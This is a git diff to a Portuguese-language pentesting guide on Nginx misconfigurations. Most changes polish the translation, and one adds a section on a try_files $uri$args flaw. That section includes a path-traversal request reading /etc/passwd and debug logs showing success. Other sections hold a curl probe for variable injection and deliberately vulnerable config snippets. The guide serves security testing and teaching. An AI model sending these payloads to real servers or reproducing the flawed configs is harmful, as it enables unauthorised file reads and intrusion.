diff --git a/src/images/nginx_try_files.png b/src/images/nginx_try_files.png new file mode 100644 index 000000000..0c14e95c9 Binary files /dev/null and b/src/images/nginx_try_files.png differ diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 11df92df2..b51503d07 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -22,7 +22,7 @@ Uma consideração crítica de segurança surge dessa configuração. Uma simple ## Alias LFI Misconfiguration -Nos arquivos de configuração do Nginx, uma inspeção cuidadosa é necessária para as diretivas "location". Uma vulnerabilidade conhecida como Inclusão de Arquivo Local (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha ao seguinte: +Nos arquivos de configuração do Nginx, uma inspeção cuidadosa é necessária para as diretivas "location". Uma vulnerabilidade conhecida como Local File Inclusion (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha ao seguinte: ``` location /imgs { alias /path/images/; @@ -91,7 +91,7 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` -Saiba mais sobre os riscos da injeção CRLF e divisão de resposta em [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). +Saiba mais sobre os riscos de injeção CRLF e divisão de resposta em [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). Além disso, esta técnica é [**explicada nesta palestra**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) com alguns exemplos vulneráveis e mecanismos de detecção. Por exemplo, para detectar essa má configuração de uma perspectiva de caixa preta, você poderia usar estas requisições: @@ -125,21 +125,71 @@ location /s3/ { proxy_pass https://company-bucket.s3.amazonaws.com$uri; } ``` -### Any variable +### Qualquer variável -Foi descoberto que **dados fornecidos pelo usuário** podem ser tratados como uma **variável do Nginx** em certas circunstâncias. A causa desse comportamento permanece um tanto elusiva, mas não é rara nem fácil de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada na mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), apontando Server Side Includes (SSI) como a causa raiz. +Foi descoberto que **dados fornecidos pelo usuário** podem ser tratados como uma **variável do Nginx** sob certas circunstâncias. A causa desse comportamento permanece um tanto elusiva, mas não é rara nem fácil de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visualizado [aqui](https://hackerone.com/reports/370094). Uma investigação mais aprofundada na mensagem de erro levou à identificação de sua ocorrência dentro do [módulo de filtro SSI do código-fonte do Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), apontando Server Side Includes (SSI) como a causa raiz. Para **detectar essa má configuração**, o seguinte comando pode ser executado, que envolve definir um cabeçalho referer para testar a impressão de variáveis: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` -Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. No entanto, uma diminuição no número de instâncias vulneráveis sugere que os esforços para corrigir esse problema foram um tanto bem-sucedidos. +Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful. + +### Usando try_files com variáveis $URI$ARGS + +A seguinte configuração incorreta do Nginx pode levar a uma vulnerabilidade LFI: +``` +location / { +try_files $uri$args $uri$args/ /index.html; +} +``` +Na nossa configuração, temos a diretiva `try_files`, que é usada para verificar a existência de arquivos em uma ordem especificada. O Nginx servirá o primeiro que encontrar. A sintaxe básica da diretiva `try_files` é a seguinte: +``` +try_files file1 file2 ... fileN fallback; +``` +O Nginx verificará a existência de cada arquivo na ordem especificada. Se um arquivo existir, ele será servido imediatamente. Se nenhum dos arquivos especificados existir, a solicitação será passada para a opção de fallback, que pode ser outro URI ou uma página de erro específica. + +No entanto, ao usar as variáveis `$uri$args` nesta diretiva, o Nginx tentará procurar um arquivo que corresponda ao URI da solicitação combinado com quaisquer argumentos de string de consulta. Portanto, podemos explorar essa configuração: +``` +http { +server { +root /var/www/html/public; + +location / { +try_files $uri$args $uri$args/ /index.html; +} +} +} +``` +Com o seguinte payload: +``` +GET /?../../../../../../../../etc/passwd HTTP/1.1 +Host: example.com +``` +Usando nosso payload, escaparemos do diretório raiz (definido na configuração do Nginx) e carregaremos o arquivo `/etc/passwd`. Nos logs de depuração, podemos observar como o Nginx tenta os arquivos: +``` +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd" +2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd" + +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd" + +...SNIP... + +2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK + +``` +PoC contra o Nginx usando a configuração mencionada acima: +![Exemplo de requisição burp](../../images/nginx_try_files.png) ## Leitura da resposta bruta do backend -Nginx oferece um recurso através de `proxy_pass` que permite a interceptação de erros e cabeçalhos HTTP produzidos pelo backend, visando ocultar mensagens de erro internas e cabeçalhos. Isso é realizado pelo Nginx servindo páginas de erro personalizadas em resposta a erros do backend. No entanto, desafios surgem quando o Nginx encontra uma solicitação HTTP inválida. Tal solicitação é encaminhada para o backend conforme recebida, e a resposta bruta do backend é então enviada diretamente ao cliente sem a intervenção do Nginx. +O Nginx oferece um recurso através do `proxy_pass` que permite a interceptação de erros e cabeçalhos HTTP produzidos pelo backend, visando ocultar mensagens de erro internas e cabeçalhos. Isso é realizado pelo Nginx servindo páginas de erro personalizadas em resposta a erros do backend. No entanto, desafios surgem quando o Nginx encontra uma solicitação HTTP inválida. Tal solicitação é encaminhada ao backend como recebida, e a resposta bruta do backend é então enviada diretamente ao cliente sem a intervenção do Nginx. -Considere um exemplo de cenário envolvendo uma aplicação uWSGI: +Considere um cenário de exemplo envolvendo uma aplicação uWSGI: ```python def application(environ, start_response): start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) @@ -160,9 +210,9 @@ Quando uma solicitação `GET` válida é feita, o Nginx a processa normalmente, ## merge_slashes definido como off -Por padrão, a **diretiva `merge_slashes` do Nginx** está definida como **`on`**, o que comprime múltiplas barras (slashes) em uma URL em uma única barra. Este recurso, embora simplifique o processamento de URLs, pode inadvertidamente ocultar vulnerabilidades em aplicações atrás do Nginx, particularmente aquelas suscetíveis a ataques de inclusão de arquivos locais (LFI). Especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um reverse-proxy. +Por padrão, a **diretiva `merge_slashes` do Nginx** está definida como **`on`**, o que comprime múltiplas barras (slashes) em uma URL em uma única barra. Este recurso, embora simplifique o processamento de URLs, pode inadvertidamente ocultar vulnerabilidades em aplicações atrás do Nginx, particularmente aquelas propensas a ataques de inclusão de arquivos locais (LFI). Especialistas em segurança **Danny Robinson e Rotem Bar** destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como um reverse-proxy. -Para mitigar tais riscos, é recomendado **desativar a diretiva `merge_slashes`** para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe solicitações para a aplicação sem alterar a estrutura da URL, não mascarando assim quaisquer problemas de segurança subjacentes. +Para mitigar tais riscos, recomenda-se **desativar a diretiva `merge_slashes`** para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe solicitações para a aplicação sem alterar a estrutura da URL, não mascarando assim quaisquer problemas de segurança subjacentes. Para mais informações, consulte [Danny Robinson e Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). @@ -203,7 +253,7 @@ Sem um `default`, um **usuário malicioso** pode contornar a segurança acessand ### **Vulnerabilidade de Spoofing de DNS** -O spoofing de DNS contra o Nginx é viável sob certas condições. Se um atacante souber qual é o **servidor DNS** usado pelo Nginx e puder interceptar suas consultas DNS, ele pode falsificar registros DNS. No entanto, esse método é ineficaz se o Nginx estiver configurado para usar **localhost (127.0.0.1)** para resolução de DNS. O Nginx permite especificar um servidor DNS da seguinte forma: +O spoofing de DNS contra o Nginx é viável sob certas condições. Se um atacante conhece o **servidor DNS** usado pelo Nginx e pode interceptar suas consultas DNS, ele pode falsificar registros DNS. No entanto, esse método é ineficaz se o Nginx estiver configurado para usar **localhost (127.0.0.1)** para resolução de DNS. O Nginx permite especificar um servidor DNS da seguinte forma: ```yaml resolver 8.8.8.8; ``` @@ -213,7 +263,7 @@ A diretriz **`proxy_pass`** é utilizada para redirecionar solicitações para o ## proxy_set_header Upgrade & Connection -Se o servidor nginx estiver configurado para passar os cabeçalhos Upgrade e Connection, um [**ataque de Smuggling h2c**](../../pentesting-web/h2c-smuggling.md) poderia ser realizado para acessar endpoints protegidos/internos. +Se o servidor nginx estiver configurado para passar os cabeçalhos Upgrade e Connection, um [**ataque de H2C Smuggling**](../../pentesting-web/h2c-smuggling.md) poderia ser realizado para acessar endpoints protegidos/internos. > [!CAUTION] > Esta vulnerabilidade permitiria que um atacante **estabelecesse uma conexão direta com o endpoint `proxy_pass`** (`http://backend:9999` neste caso) cujo conteúdo não será verificado pelo nginx. @@ -243,7 +293,7 @@ deny all; ## Tente você mesmo -Detectify criou um repositório no GitHub onde você pode usar o Docker para configurar seu próprio servidor de teste Nginx vulnerável com algumas das configurações incorretas discutidas neste artigo e tentar encontrá-las você mesmo! +Detectify criou um repositório no GitHub onde você pode usar Docker para configurar seu próprio servidor de teste Nginx vulnerável com algumas das configurações incorretas discutidas neste artigo e tentar encontrá-las você mesmo! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)